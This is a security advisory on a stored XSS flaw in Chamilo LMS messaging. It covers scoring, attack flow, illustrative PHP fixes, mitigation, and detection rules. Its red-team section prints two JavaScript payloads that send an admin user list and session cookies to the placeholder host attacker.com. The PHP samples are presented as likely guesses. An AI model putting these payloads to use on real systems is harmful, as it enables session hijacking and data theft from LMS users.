CVE-2025-55289

Executive Summary

CVE-2025-55289 is a critical stored Cross-Site Scripting (XSS) vulnerability in Chamilo LMS versions prior to 1.11.34. An attacker with a standard user account can inject arbitrary JavaScript into the platform’s social network and internal messaging features. When an administrator or any authenticated user views the malicious content, the payload executes in their browser within the LMS context. This enables full account takeover via session hijacking, unauthorized actions with the victim’s privileges, exfiltration of sensitive data, and potential self-propagation to other users. The vulnerability has been patched in version 1.11.34.

Supply Chain & Package Security

Chamilo is a PHP-based LMS. The vulnerability is in the core application code, not in a third-party package. However, administrators should verify the integrity of their Chamilo installation and ensure no malicious modifications have been made.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires an authenticated user account
• User Interaction: Required (UI:R) – victim must view the malicious message
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. The vulnerability allows an attacker to perform a wide range of malicious actions, including account takeover and data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in the social network and internal messaging features of Chamilo LMS. User-supplied input is not properly sanitized before being stored and later rendered in the browser of other users. An attacker can craft a message containing malicious JavaScript, which is then stored in the database. When an administrator or any other authenticated user views this message, the script executes in their browser.

Attack Flow:

1. Attacker logs in with a standard user account.
2. Attacker crafts a message containing a malicious JavaScript payload (e.g., <script>alert('XSS')</script>).
3. Attacker sends the message to a target user (e.g., an administrator) via the internal messaging system.
4. Target user views the message.
5. The malicious script executes in the target user's browser, allowing the attacker to:
   • Steal session cookies (session hijacking).
   • Perform actions on behalf of the victim (e.g., create new admin accounts).
   • Exfiltrate sensitive data (e.g., user lists, course content).
   • Propagate the attack by sending malicious messages to other users.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.11.34): The vulnerable code likely does not sanitize or escape user input before storing it in the database or rendering it in the browser. For example, in a PHP file handling message creation:

// Vulnerable: no sanitization
$message = $_POST['message'];
$database->insert('messages', ['content' => $message]);

Patched Code (1.11.34): The patched code uses proper output encoding and input validation. For example:

// Patched: sanitize input
$message = htmlspecialchars($_POST['message'], ENT_QUOTES, 'UTF-8');
$database->insert('messages', ['content' => $message]);

Additionally, the rendering code should use htmlspecialchars or a templating engine that auto-escapes output.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of Chamilo LMS version < 1.11.34.
• An authenticated user account (standard privileges).

Exploit Steps:

1. Log in to Chamilo LMS.
2. Navigate to the internal messaging feature.
3. Compose a new message to an administrator.
4. In the message body, inject a JavaScript payload. Example:

   <script>
   fetch('/main/admin/user_list.php').then(r=>r.text()).then(d=>{fetch('https://attacker.com/exfil?data='+btoa(d))});
   </script>
   

5. Send the message.
6. When the administrator views the message, the script executes, exfiltrating the user list to the attacker's server.

Advanced Payload (Session Hijacking):

<script>
document.location='https://attacker.com/steal.php?cookie='+document.cookie;
</script>

Blue Team

Detection Steps:

1. Monitor for unusual messages containing <script> tags or other HTML/JavaScript constructs.
2. Review web server logs for requests to /main/messages/ or similar endpoints with suspicious POST data.
3. Check for outbound connections to unknown domains from the LMS server.
4. Use the detection rules provided below.

Mitigation Steps:

1. Immediately upgrade to Chamilo LMS version 1.11.34 or later.
2. If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block <script> tags in message bodies.
3. Review and sanitize existing messages in the database for malicious content.
4. Reset all user sessions and force password changes.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from the LMS server.
  • Unusual POST requests to /main/messages/inbox.php or similar endpoints with HTML/JavaScript in the body.
• File IOCs:
  • Modified PHP files in the /main/messages/ directory.
  • Suspicious entries in the messages database table containing <script> tags.
• Behavioral IOCs:
  • Unauthorized creation of new admin accounts.
  • Unusual changes to user roles or permissions.
  • Multiple failed login attempts from the same IP after a successful XSS attack.

Detection Engineering

YARA Rule

rule chamilo_xss_payload {
    meta:
        description = "Detects XSS payloads in Chamilo LMS messages"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-55289"
    strings:
        $xss1 = "<script" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: Chamilo LMS Stored XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS payloads in Chamilo LMS messages
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/main/messages/'
        cs-body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in course content (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-55289 Chamilo LMS Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/main/messages/"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Chamilo LMS to version 1.11.34 or later.
2. WAF Rules: Deploy WAF rules to block <script> tags and other HTML/JavaScript constructs in message bodies.
3. Database Cleanup: Scan the messages table for malicious content and remove it.
4. Session Invalidation: Invalidate all active sessions and force users to re-authenticate.

Long-Term Measures:

1. Input Validation: Implement strict input validation and output encoding for all user-supplied data.
2. Content Security Policy (CSP): Deploy a CSP header to mitigate the impact of XSS attacks.
3. Regular Security Audits: Conduct periodic security reviews and penetration testing.
4. User Training: Educate users about the risks of clicking on suspicious links or messages.

Valters IT
Securing Digital Frontiers